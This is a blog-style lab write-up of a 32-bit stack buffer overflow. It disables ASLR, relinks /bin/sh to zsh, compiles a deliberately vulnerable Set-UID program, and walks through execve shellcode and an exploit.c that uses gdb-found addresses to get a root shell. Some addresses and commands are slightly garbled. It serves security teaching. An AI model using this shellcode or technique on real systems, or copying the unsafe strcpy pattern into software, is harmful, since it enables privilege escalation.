out of buffer

Posted by jamess on Sun, 31 Oct 2021 17:55:58 +0100

Experimental preparation

In order to observe assembly statements easily in this experiment, we need to operate in 32-bit environment, so we need to do some preparation before the experiment. Enter commands to install packages for compiling 32-bit C programs:

sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb

Installation results are as follows:

(1) In Ubuntu and some other Linux systems, address space randomization is used to randomize the initial addresses of heap s and stack s, making it difficult to guess the exact memory address, which is the key to buffer overflow attacks. So in this experiment, we turn this off using the following command:

sudo sysctl -w kernel.randomize_va_space=0


(2) In addition, to further guard against buffer overflow attacks and other attacks using shell programs, many shell programs automatically discard their privileges when called. Therefore, even if you can trick a Set-UID program into invoking a shell, you cannot retain root privileges in that shell. This protection is implemented in/bin/bash.
In linux systems, /bin/sh is a symbolic link to/bin/bash or/bin/dash. To reproduce what happened before this safeguard was implemented, we used another shell program (zsh) instead of / bin/bash. The following instructions describe how to set up the Zsh program:

sudo su 
cd /bin 
rm sh 
ln -s zsh sh 
exit


(3) Enter the command linux32 into the 32-bit Linux environment. At this point, you will find that the command line is not as cool to use, for example, tab completion is not possible.
Input/bin/bash uses bash:

(4) In general, a buffer overflow causes a program to crash, in which the overflow data overrides the return address. If the data that overrides the return address is another address, the program jumps to that address, and if the address contains a well-designed piece of code for other functions, that is, a shellcode.
Look at the following code:

#include <stdio.h> 
int main() 
{ 
char *name[2]; 
name[0] = "/bin/sh"; 
name[1] = NULL; 
execve(name[0], name, NULL); 
}

The shellcode of this experiment is the assembled version of the code just now
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
Create a new stack.c file in the / tmp directory:

#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
int bof(char *str) 
{ 
char buffer[12]; 
strcpy(buffer, str); 
return 1; 
} 
int main(int argc, char **argv) 
{ 
char str[517]; 
FILE *badfile; 
badfile = fopen("badfile", "r"); 
fread(str, sizeof(char), 517, badfile); 
bof(str); 
printf("Returned Properly\n"); 
return 1; 
}


The code tells you that the program reads a file named "badfile" and loads its contents into "buffer".
Compile the program and set the SET-UID. The commands are as follows:

sudo su 
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack 
exit


The GCC compiler has a stack protection mechanism to prevent buffer overflows, so we need to turn this off when compiling code with the fno-stack-protector. The -z execstack is used to allow execution of the stack. - The g parameter is designed to enable the compiled executable to be debugged with gdb.
Our goal is to attack the bug program we just made and gain root privileges through the attack. Create a new exploit.c file in the / tmp directory by entering the following:

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517); strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
    strcpy(buffer + 100, shellcode);   
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

Notice the code above, \x??\x??\x??\x?? The shellcode saved in memory address needs to be added at because this location can override the return address just after an overflow occurs. strcpy(buffer+100,shellcode); This sentence tells us again that the shellcode is saved at buffer + 100. Below we will detail how to get the addresses we need to add.
Now, to get the address of the shellcode in memory, enter the command into the gdb debugging:

gdb stack 
disass main


The starting address of str is in esp, so we set a breakpoint at address 0x080484ee.
Next:

# Set Breakpoint 
b *0x080484ee 
r 
i r $esp


The final 0xffcfb0 obtained is the address of the str.
According to the statement strcpy(buffer + 100,shellcode);
We calculate the address of the shellcode

0xffffcfb0 + 0x64 = 0xffffd014

Now modify the exploit.c file to \x??\x??\x??\x?? Modify to the result of the calculation\x14\xd0xffxff, note that the order is reversed.
Then compile the exploit.c program:

Run the exploit attack program first, then the stack vulnerability program, and observe the results:

whoami is an input command, not an output.
Visible, you gain root privileges by attacking!
Through the command sudo sysctl-w kernel.randomize_ Va_ Space=2 turns on the address space randomization mechanism of the system and repeatedly attacks the stack program with the exploit program to see if the attack succeeds or if the root privilege is granted.

Not getting root privilege